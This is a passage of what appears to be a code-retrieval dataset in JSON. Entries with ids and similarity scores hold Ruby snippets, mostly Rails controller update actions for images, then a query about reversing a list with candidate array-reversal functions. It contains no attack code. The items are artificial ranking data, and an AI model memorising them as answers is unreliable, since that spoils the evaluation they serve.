"text": "def update\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f2042de11d1b001e09d31c0c0d9279e5",
"score": "0.5529929",
"text": "def update\n @control_point = ControlPoint.find(params[:id])\n\n if params[:control_point][:image].present?\n uploaded_io = params[:control_point][:image]\n file_path_name = UUIDTools::UUID.random_create.to_s.delete '-'\n just_filename = File.basename(uploaded_io.original_filename)\n file_path_name += just_filename.sub(/[^\\w\\.\\-]/, '_')\n File.open(Rails.root.join('public', 'uploads1', file_path_name), 'w+b') do |file|\n file.write(uploaded_io.read)\n end\n params[:control_point][:image] = ApplicationHelper.get_root_url + 'uploads1/' + file_path_name\n end\n\n\n\n\n\n respond_to do |format|\n if @control_point.update_attributes(control_point_params)\n format.html { redirect_to \"/control_points\", notice: 'Control point was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @control_point.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d3939cbefaa1d8610f1b268748e7a5b2",
"score": "0.5528797",
"text": "def update\n respond_to do |format|\n if @image_set.update(image_set_params)\n format.html { redirect_to @image_set, notice: 'Image set was successfully updated.' }\n format.json { render :show, status: :ok, location: @image_set }\n else\n format.html { render :edit }\n format.json { render json: @image_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "49498dab3de671ee3da1a041f1e5341b",
"score": "0.55276793",
"text": "def update\n @image = Image.find(params[:id])\n @image.update_attributes(params[:image])\n respond_with(@image, :status => :updated)\n end",
"title": ""
},
{
"docid": "a64609c2bee18ef7222c7d99653d7ff3",
"score": "0.552755",
"text": "def update\n respond_to do |format|\n if @custom_image.update(custom_image_params)\n format.html { redirect_to @custom_image, notice: 'Custom image was successfully updated.' }\n format.json { render :show, status: :ok, location: @custom_image }\n else\n format.html { render :edit }\n format.json { render json: @custom_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8b722929775605aeaa727066cb215484",
"score": "0.5526609",
"text": "def update\n\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n \n end",
"title": ""
},
{
"docid": "250f6f2f74cb87059f008c8807060496",
"score": "0.55168945",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4be68630ebde7068702d764b499fe3b0",
"score": "0.55141354",
"text": "def update\n respond_to do |format|\n if @bike.update(bike_params)\n format.html { redirect_to @bike, flash: {success: _('Moto modificata con successo!')} }\n format.json { head :no_content }\n else\n format.html { render \"forms/new_edit\" }\n format.json { render json: @bike.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b9b1ac4838fac156301f95f5796dc139",
"score": "0.55125284",
"text": "def update\n @image = Image.find(params[:id])\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c2ae954acef06d2e0b1270d3f5dafc42",
"score": "0.5511873",
"text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "04ef8ae1a5f44523e99d112b0f79e00c",
"score": "0.550925",
"text": "def create\n @my_bike = MyBike.new(my_bike_params)\n\n if @my_bike.save\n #@my_bike.update(image_host_url: set_host + @my_bike.bike_image.url)\n render json: @my_bike, status: :created\n else\n render json: @my_bike.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "db564458039f0ee786527b04d52f31f9",
"score": "0.5507799",
"text": "def update\n\n respond_to do |format|\n if @image_file.update(image_file_params)\n image = MiniMagick::Image.open('public/images/'+@image_file.name) \n image.crop \"#{@image_file.width}x#{@image_file.height}+#{@image_file.width_offset}+#{@image_file.height_offset}!\"\n image.write \"public/images/#{@image_file.name}\"\n format.html { redirect_to @image_file, notice: 'Image file was successfully updated.' }\n format.json { render :show, status: :ok, location: @image_file }\n else\n format.html { render :edit }\n format.json { render json: @image_file.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "25f42c685410d6b313afc3d7c25f14e4",
"score": "0.5506718",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "25f42c685410d6b313afc3d7c25f14e4",
"score": "0.5506718",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "25f42c685410d6b313afc3d7c25f14e4",
"score": "0.5506718",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "25f42c685410d6b313afc3d7c25f14e4",
"score": "0.5506718",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "25f42c685410d6b313afc3d7c25f14e4",
"score": "0.5506718",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "25f42c685410d6b313afc3d7c25f14e4",
"score": "0.5506718",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "25f42c685410d6b313afc3d7c25f14e4",
"score": "0.5506718",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ca5b4b8f66d1b0baab20263a40701b08",
"score": "0.5506019",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, :notice => 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @image.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4ac1f87680c81ab086ad1ed2f5d40d3a",
"score": "0.5505246",
"text": "def update\n @get_image = GetImage.find(params[:id])\n\n respond_to do |format|\n if @get_image.update_attributes(params[:get_image])\n format.html { redirect_to @get_image, notice: 'Get image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @get_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "65e97ffe5180965c93283ab097f36c28",
"score": "0.54929745",
"text": "def update\n @batch_image = BatchImage.find(params[:id])\n\n respond_to do |format|\n if @batch_image.update_attributes(params[:batch_image])\n format.html { redirect_to(@batch_image, :notice => 'BatchImage was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @batch_image.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cc3f028204767269efdc4e743d179691",
"score": "0.5492433",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cc3f028204767269efdc4e743d179691",
"score": "0.5492433",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "027e4abe044e925e1676dafc9b2f6b97",
"score": "0.54876345",
"text": "def update\n parms = skate_params\n parms[:color] = parms[:color].split(', ') if parms[:color]\n respond_to do |format|\n if @skate.update(parms)\n if params[:images]\n @skate.gallery ||= Gallery.new\n params[:images].each do |image|\n @skate.gallery.images.create(image: image)\n end\n unless @skate.image_file_size\n @skate.update(image: @skate.gallery.images.first.image)\n end\n end\n format.html { redirect_to @skate, notice: 'Skate was successfully updated.' }\n format.json { render :show, status: :ok, location: @skate }\n else\n format.html { render :edit }\n format.json { render json: @skate.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b765c638a439eb3a22a273ea3bccf5cb",
"score": "0.5486638",
"text": "def update\n\n respond_to do |format|\n if @wallpaper.update(wallpaper_params)\n format.html { redirect_to backstage_wallpapers_url, notice: 'wallpaper was successfully updated.' }\n # format.json { render :show, status: :ok, location: @wallpaper }\n else\n format.html { render :edit }\n # format.json { render json: @wallpaper.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6865ffc1a2e1362489770e27794dd502",
"score": "0.54810774",
"text": "def watermark_processor\n if current_resource_owner.watermarks.present? && current_resource_owner.watermarks.find_by(status: \"active\") != nil\n if params[:photo][0][:imageable_type] == \"Album\"\n Photo.apply_watermark = true\n else\n Photo.apply_watermark = false\n end\n else\n Photo.apply_watermark = false\n end\n end",
"title": ""
},
{
"docid": "d3e617b95117698f4fcfa42c280129d7",
"score": "0.5477864",
"text": "def update\n @rotating_image = RotatingImage.find(params[:id])\n\n respond_to do |format|\n if @rotating_image.update_attributes(params[:rotating_image])\n format.html { redirect_to @rotating_image, notice: 'Create rotating image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rotating_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "95ca913c49cb7e171ea9663ce7ffd99f",
"score": "0.54777795",
"text": "def update\n @tool = Tool.find(params[:id])\n \n # prevent unauthorized access\n unless full_access_tool_member?(@tool) \n redirect_to(@tool) \n return\n end\n \n if params[:tool][:uploaded_data] and params[:tool][:uploaded_data] != \"\"\n @tool.image = Image.new({ :uploaded_data => params[:tool][:uploaded_data] })\n @tool.image.save\n @tool.save\n end\n \n respond_to do |format|\n if @tool.update_attributes(params[:tool])\n flash[:notice] = 'Tool was successfully updated.'\n format.html { redirect_to(@tool) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end",
"title": ""
},
{
"docid": "47abb2cddfa1a665018f717cdaaa4164",
"score": "0.5476822",
"text": "def update!(params)\n res = @client.put(path, {}, params, \"Content-Type\" => \"application/json\")\n\n @attributes = res.json if res.status == 201\n end",
"title": ""
},
{
"docid": "f2b0e8660953e36591633fefc07bd32c",
"score": "0.54757017",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n format.js\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"title": ""
},
{
"docid": "7086314f4a755c9a29684a68d16f2cc8",
"score": "0.5472171",
"text": "def update\n respond_to do |format|\n if @lgtm_image.update(lgtm_image_params)\n format.html { redirect_to @lgtm_image, notice: 'Lgtm image was successfully updated.' }\n format.json { render :show, status: :ok, location: @lgtm_image }\n else\n format.html { render :edit }\n format.json { render json: @lgtm_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b3d0d85c2a3748ff27e8b511497302d2",
"score": "0.5470584",
"text": "def update\n @masterimage = Masterimage.find(params[:id])\n\n respond_to do |format|\n if @masterimage.update_attributes(params[:masterimage])\n format.html { redirect_to(@masterimage, :notice => 'Masterimage was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @masterimage.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0fab26405f1cd52383ac25ae0287998c",
"score": "0.5467886",
"text": "def update\n respond_to do |format|\n if @image_label_set.update(image_label_set_params)\n format.html { redirect_to @image_label_set, notice: 'Image label set was successfully updated.' }\n format.json { render :show, status: :ok, location: @image_label_set }\n else\n format.html { render :edit }\n format.json { render json: @image_label_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0fab26405f1cd52383ac25ae0287998c",
"score": "0.5467886",
"text": "def update\n respond_to do |format|\n if @image_label_set.update(image_label_set_params)\n format.html { redirect_to @image_label_set, notice: 'Image label set was successfully updated.' }\n format.json { render :show, status: :ok, location: @image_label_set }\n else\n format.html { render :edit }\n format.json { render json: @image_label_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e1677fad38bdd8274007c1805834683b",
"score": "0.54641587",
"text": "def update\n @canvas = Canvas.find(params[:id])\n authorize! :manage, @canvas\n respond_to do |format|\n if @canvas.update_attributes(params[:canvas])\n format.html { redirect_to @canvas, notice: 'Canvas was successfully updated.' }\n format.json { respond_with_bip(@canvas)}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @canvas.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "810df317a52a8e58eb8e8b9e0b1efec0",
"score": "0.5462765",
"text": "def update\n @blog_image = BlogImage.find(params[:id])\n\n respond_to do |format|\n if @blog_image.update_attributes(params[:blog_image])\n format.html { redirect_to @blog_image.post, notice: 'Blog image was successfully updated.' }\n format.json { respond_with_bip(@blog_image) }\n else\n format.html { render action: \"edit\" }\n format.json { respond_with_bip(@blog_image) }\n end\n end\n end",
"title": ""
},
{
"docid": "41648ae93ed5e1479ad7782ab07ef2a8",
"score": "0.5458634",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to admin_image_path @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a313af1436c6a2262f13bdeef97d358",
"score": "0.54567695",
"text": "def update\n @photo = Photo.find(params[:id])\n @photo.attributes = params[:photo]\n @photo.thumb_x = params[:x1] if params[:x1]\n @photo.thumb_y = params[:y1] if params[:y1]\n @photo.thumb_l = (@photo.thumb_vertical) ? params[:height] : params[:width] if params[:height] and params[:width]\n \n @photo.alter_photo_sets(params[:photo_sets]) if params.has_key?(:photo_sets)\n \n respond_to do |format| \n if @photo.save\n flash[:notice] = \"Photo successfully updated\"\n format.html { redirect_to formatted_photo_url(@photo, :html) }\n format.xml { head :ok } \n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @photo.errors.to_xml }\n end\n end\n end",
"title": ""
},
{
"docid": "52b7c0362668abcce92e92804c41f5b6",
"score": "0.5456674",
"text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "52b7c0362668abcce92e92804c41f5b6",
"score": "0.5456674",
"text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
b41acab4fe1797bd7691e54b460a1fad
|
with the elements of the original list in reverse order. Do not modify the original list. You may not use Arrayreverse or Arrayreverse!, nor may you use the method you wrote in the previous exercise.
|
[
{
"docid": "2efcba0fcba21261766c8c08d89aaf17",
"score": "0.0",
"text": "def reverse(array)\n reversed_array = []\n (array.size - 1).downto(0) { |i| reversed_array << array[i] }\n reversed_array\nend",
"title": ""
}
] |
[
{
"docid": "870590d4f189a096eb92380affee34a5",
"score": "0.86574286",
"text": "def reverse!(list)\n new_array = []\n list.each do |element|\n new_array.unshift(element)\n end\n new_array.each_with_index do |v, i|\n list[i] = v\n end\n list\nend",
"title": ""
},
{
"docid": "d7d7d9f21e811b403f7b6a0a892d78eb",
"score": "0.8640211",
"text": "def reverse!(list)\n list_clone = list.clone\n list_clone.each_with_index do |el, idx|\n idx == 0 ? idx = -1 : idx = (idx * -1) - 1\n list[idx] = el\n end\n list\nend",
"title": ""
},
{
"docid": "16a3b1caac9363d263824f479a75d1ef",
"score": "0.86324954",
"text": "def reverse(list)\r\n list.reverse!\r\nend",
"title": ""
},
{
"docid": "66eccf08814fe31eed7b2a3bdbf95ef6",
"score": "0.8613597",
"text": "def reverse_list(list)\n list.reverse_each { |x| x }\nend",
"title": ""
},
{
"docid": "a1d51ec1f3399e52bb9e9de6d6be2b56",
"score": "0.861274",
"text": "def reverse!(list)\n loop_count = list.size / 2\n\n (0...loop_count).to_a.each do |i|\n list[i], list[-i - 1] = list[-i - 1], list[i]\n end\n\n list\nend",
"title": ""
},
{
"docid": "fe1b751555ed133e40fc933b9679a449",
"score": "0.85945743",
"text": "def reverse!(list)\n orig_length = list.length\n \n (orig_length - 1).downto(0) { |idx| list.push(list[idx]) }\n \n list.slice!(0, orig_length)\n list\nend",
"title": ""
},
{
"docid": "2adfb50ad58a4bbb7ae1fbfbbd456f75",
"score": "0.8526238",
"text": "def reverse!(list)\n for i in 1..(list.size / 2)\n list[i-1], list[-i] = list[-i], list[i-1]\n end\n\n list\nend",
"title": ""
},
{
"docid": "93913ae547b06ddfc383037b2c7cd407",
"score": "0.8523509",
"text": "def reverse_array(list)\n list.reverse \nend",
"title": ""
},
{
"docid": "04fffd4366d3bae9cbd620dfac342723",
"score": "0.84261584",
"text": "def reverse!(list)\n num = list.size - 1\n copy = list.dup\n\n list.each_index { |i| list[i] = copy[num - i] }\nend",
"title": ""
},
{
"docid": "aaef74388dbe6381afe41693f745583f",
"score": "0.8409326",
"text": "def reverse(list)\n reverse_list = Array.new(list)\n (list.size).downto(1).each { |num| reverse_list[list.size - num] = list[num - 1]}\n reverse_list\nend",
"title": ""
},
{
"docid": "06485fb6f51a5b7ba02e194cd54efd93",
"score": "0.8403308",
"text": "def reverse(list)\n \treversed = []\n \tfor i in 0..(list.length()-1)\n \t\treversed.push(list[list.length() - i - 1])\n \tend\n reversed\nend",
"title": ""
},
{
"docid": "6b08a702d6051a4335f75815cd7027c6",
"score": "0.83767116",
"text": "def reverse\n List(to_a).reverse!\n end",
"title": ""
},
{
"docid": "125adcb82ddbbe28429dd0b7a15b9fcc",
"score": "0.83604085",
"text": "def reverse_list(l) \n\tshow_functional(array_to_list(list_to_array(l)))\nend",
"title": ""
},
{
"docid": "f6b1f8c736f28c8ecf4199066578be5a",
"score": "0.82886153",
"text": "def new_reverse(list)\r\n return list.new_reversed\r\nend",
"title": ""
},
{
"docid": "918c87c798893965b876dd9e1bb1a8ec",
"score": "0.8222335",
"text": "def reverse(list)\n new_list = []\n index = list.size - 1\n while index >= 0\n new_list.push(list[index])\n index -= 1\n end\n \n new_list\nend",
"title": ""
},
{
"docid": "e6dd5a3c717f2258941aaa8393a0fb07",
"score": "0.82009876",
"text": "def reverse(list)\n list.map.with_index(1) { |_, idx| list[-idx] }\nend",
"title": ""
},
{
"docid": "c75d34a037697605603f2adddc98000e",
"score": "0.8199907",
"text": "def reverse(list)\n new_list = []\n i = -1\n list.length.times do\n new_list.push(list[i])\n i -= 1\n end\n new_list\nend",
"title": ""
},
{
"docid": "020d34bc4f40c0a2c1f52bae22afd9c2",
"score": "0.8145298",
"text": "def reverse!(list)\n list.map do |element|\n list.delete(element)\n list.unshift(element)\n end\n list\nend",
"title": ""
},
{
"docid": "9ec07b289cd6e542480acfdbc4286e16",
"score": "0.8060175",
"text": "def reverse!(list)\n list.sort! { |x, y| y <=> x }\nend",
"title": ""
},
{
"docid": "518fd81c6c8edf0f3223d26580547cf9",
"score": "0.8055071",
"text": "def reverse!(list)\n left_index = 0\n right_index = list.size - 1\n while left_index < right_index\n list[left_index], list[right_index] = list[right_index], list[left_index]\n left_index += 1\n right_index -= 1\n end\n list\nend",
"title": ""
},
{
"docid": "dcf313a4763b8cd20b09ea4e20c85a43",
"score": "0.80295104",
"text": "def reverse!(list)\n return list if list.empty?\n\n left_index = 0\n right_index = list.size - 1\n \n loop do\n list[left_index], list[right_index] = list[right_index], list[left_index]\n break if right_index - left_index <= 1\n left_index += 1\n right_index -= 1\n end\n\n list\nend",
"title": ""
},
{
"docid": "17d740bbfe6d42ad91bba4d8c8d3db6e",
"score": "0.80129445",
"text": "def reverse2(array)\n result_array = []\n array.reverse_each { |element| result_array << element }\n result_array\nend",
"title": ""
},
{
"docid": "9acd4fc6d58ad83ec16f1e839bced8bf",
"score": "0.8007726",
"text": "def reverse_linked_list_v1(linked_list)\n reversed_list = []\n linked_list.length.times do |i|\n reversed_list << linked_list[-(i + 1)]\n end\n reversed_list\nend",
"title": ""
},
{
"docid": "4190b594ff70a987e189ecbd46148648",
"score": "0.80004346",
"text": "def using_reverse(array)\n array.reverse\nend",
"title": ""
},
{
"docid": "4190b594ff70a987e189ecbd46148648",
"score": "0.80004346",
"text": "def using_reverse(array)\n array.reverse\nend",
"title": ""
},
{
"docid": "c87cd5d2481638a993e4908f66fed817",
"score": "0.79994947",
"text": "def reverse!(list)\n index = -2\n\n loop do \n break if index < -list.length \n list << list.delete_at(index)\n index -= 1\n end\n\n list\nend",
"title": ""
},
{
"docid": "6a1ced604a1980cb016727cc8a1b51af",
"score": "0.7994687",
"text": "def reverse(list)\n list_copy = list.select { |x| x }\n for i in 1..(list_copy.size / 2)\n list_copy[i-1], list_copy[-i] = list_copy[-i], list_copy[i-1]\n end\n\n list_copy\nend",
"title": ""
},
{
"docid": "348de2e8b667dca439ff202cb5ef5532",
"score": "0.79284865",
"text": "def reverse(arr)\n result = []\n arr.reverse_each { |item| result << item }\n result\nend",
"title": ""
},
{
"docid": "ce6312a734336408d4c6eb1afc8f12de",
"score": "0.7924862",
"text": "def reverse_array(array)\n array.reverse! \n array\nend",
"title": ""
},
{
"docid": "b78e0033790a99c093a0bd0195c7eabb",
"score": "0.79140043",
"text": "def reverse(an_array)\n\tan_array.reverse\nend",
"title": ""
},
{
"docid": "db50bb24ef6214b1c25db97631a891ab",
"score": "0.7902092",
"text": "def reverse(list)\n arr = []\n list.each do |element|\n arr.prepend(element)\n end\n arr\nend",
"title": ""
},
{
"docid": "b07b2a53d1e8fda4439f83b5ed7455a8",
"score": "0.7897564",
"text": "def reverse_list list\n new_list = nil\n old_list = list\n until old_list.nil?\n new_list = List.new old_list.value, new_list\n old_list = old_list.next_node\n end\n new_list\nend",
"title": ""
},
{
"docid": "47774d98e71177e3d67a5a0cd854e380",
"score": "0.7896644",
"text": "def using_reverse(array)\n array = [\"wow\", \"I\", \"am\", \"really\", \"learning\", \"arrays!\"]\n array.reverse\nend",
"title": ""
},
{
"docid": "d396e146e2ee83fd264cae2584fd878f",
"score": "0.789512",
"text": "def reverse(list)\n new_list = []\n index = 0\n\n while index < list.size\n new_list.unshift(list[index])\n index += 1\n end\n new_list\nend",
"title": ""
},
{
"docid": "299f6ab0d49c96cc3e4285a4a650a609",
"score": "0.7884731",
"text": "def reverse_array(array)\n array.reverse!\n array\nend",
"title": ""
},
{
"docid": "299f6ab0d49c96cc3e4285a4a650a609",
"score": "0.7884731",
"text": "def reverse_array(array)\n array.reverse!\n array\nend",
"title": ""
},
{
"docid": "26704d9b691f7c20dc59efbe7ec4924a",
"score": "0.78598696",
"text": "def my_reverse(array)\n\tarray.reverse\nend",
"title": ""
},
{
"docid": "e37c9a0fe76db2662f71f69077a76509",
"score": "0.7851336",
"text": "def reverse(array)\n array.reverse\nend",
"title": ""
},
{
"docid": "9babe7c28dfaa84b7a097202e37cc154",
"score": "0.78501815",
"text": "def reverse(array)\n array.reverse\nend",
"title": ""
},
{
"docid": "6a3dba7605eaad019b480c900d17dc53",
"score": "0.78450316",
"text": "def reverse!(list)\n (list.size - 1).times do |index|\n element = list.pop\n list.insert(index, element)\n end\n list\nend",
"title": ""
},
{
"docid": "fb219d074d869e95e715ccb5526d1be4",
"score": "0.7843757",
"text": "def reverse_array(array)\n array.reverse!\nend",
"title": ""
},
{
"docid": "c47218157da51cd925ffc65e4f10a308",
"score": "0.78341335",
"text": "def reverse_array(array)\n# the length of the list is the length of the array - 1\t\n\tlistLength = array.length - 1\n\t# set a new empty array\n\tlistReverse = []\n\t# go through each index of original array and push it into new array\n\t#.push will insert each item onto end of new array\n\t#start with taking last index of original array\n\tfor i in 0..listLength\n\t\tlistReverse.push(array[listLength - i])\n\tend\n\t#print the result\n\tputs listReverse.inspect\nend",
"title": ""
},
{
"docid": "1a24bd0ed54e694e8417e576c502b5d4",
"score": "0.7833462",
"text": "def reverse_array(array)\n array.reverse!\nend",
"title": ""
},
{
"docid": "1a24bd0ed54e694e8417e576c502b5d4",
"score": "0.7833462",
"text": "def reverse_array(array)\n array.reverse!\nend",
"title": ""
},
{
"docid": "a1dc77be895d83e8ccd9f26440c83833",
"score": "0.78287816",
"text": "def reverse(array)\n new_array = []\n array.reverse_each do |element|\n new_array << element\n end\n new_array\nend",
"title": ""
},
{
"docid": "81c272f6bba503fffb641caeb610a226",
"score": "0.78208244",
"text": "def reverse(array)\n result_array = []\n array.reverse_each { |element| result_array << element }\n result_array\nend",
"title": ""
},
{
"docid": "81c272f6bba503fffb641caeb610a226",
"score": "0.78208244",
"text": "def reverse(array)\n result_array = []\n array.reverse_each { |element| result_array << element }\n result_array\nend",
"title": ""
},
{
"docid": "81c272f6bba503fffb641caeb610a226",
"score": "0.78208244",
"text": "def reverse(array)\n result_array = []\n array.reverse_each { |element| result_array << element }\n result_array\nend",
"title": ""
},
{
"docid": "81c272f6bba503fffb641caeb610a226",
"score": "0.78208244",
"text": "def reverse(array)\n result_array = []\n array.reverse_each { |element| result_array << element }\n result_array\nend",
"title": ""
},
{
"docid": "81c272f6bba503fffb641caeb610a226",
"score": "0.78208244",
"text": "def reverse(array)\n result_array = []\n array.reverse_each { |element| result_array << element }\n result_array\nend",
"title": ""
},
{
"docid": "bf37ed35e3fcf02ac100553a6aaff1e1",
"score": "0.78142303",
"text": "def reverse(array)\nend",
"title": ""
},
{
"docid": "0eeb3ad28126f6b478e19919ea29da15",
"score": "0.78013206",
"text": "def reverse_array(array)\n array.reverse()\nend",
"title": ""
},
{
"docid": "0e25ab962c3fef96ec9f9f623aa0c50a",
"score": "0.780023",
"text": "def reverse_array(array)\n array.reverse \nend",
"title": ""
},
{
"docid": "4e92491c7b0fcb8762e9b8f460c4ef7b",
"score": "0.77979606",
"text": "def q4_reverse!(arr)\n tmp_arr = []\n length = arr.length - 1\n (arr.length).times {|num|\n tmp_arr[num] = arr[length-num]\n }\n \n arr.length.times {|num|\n arr[num] = tmp_arr[num]\n }\n \n arr\nend",
"title": ""
},
{
"docid": "ae810402bbc3f2466bba5152b00d7f60",
"score": "0.77979374",
"text": "def reverse!(array) # counts down until list.size is no longer > 0\n result = []\n while array.size > 0\n result << array.shift\n end\n result\nend",
"title": ""
},
{
"docid": "eeca1c3c0235e35fde0059b80443a3db",
"score": "0.779641",
"text": "def reverse\n\n #Get the last item in the new reversed list\n temp_head = self.shift\n temp_head.next_node = nil\n @last = temp_head\n\n until @head == nil\n temp = self.shift\n temp.next_node = temp_head\n temp_head = temp\n end\n\n @head = temp_head\n\n end",
"title": ""
},
{
"docid": "25c8ee99babec8242b5f6d55fee1f149",
"score": "0.7796335",
"text": "def reverse!(array)\n temp_array = []\n array.each { |element| temp_array.unshift(element) }\n array.each_index { |index| array[index] = temp_array[index] }\n \n array\nend",
"title": ""
},
{
"docid": "fe7db1e2ec3106f5aae0e356e330af4b",
"score": "0.7787736",
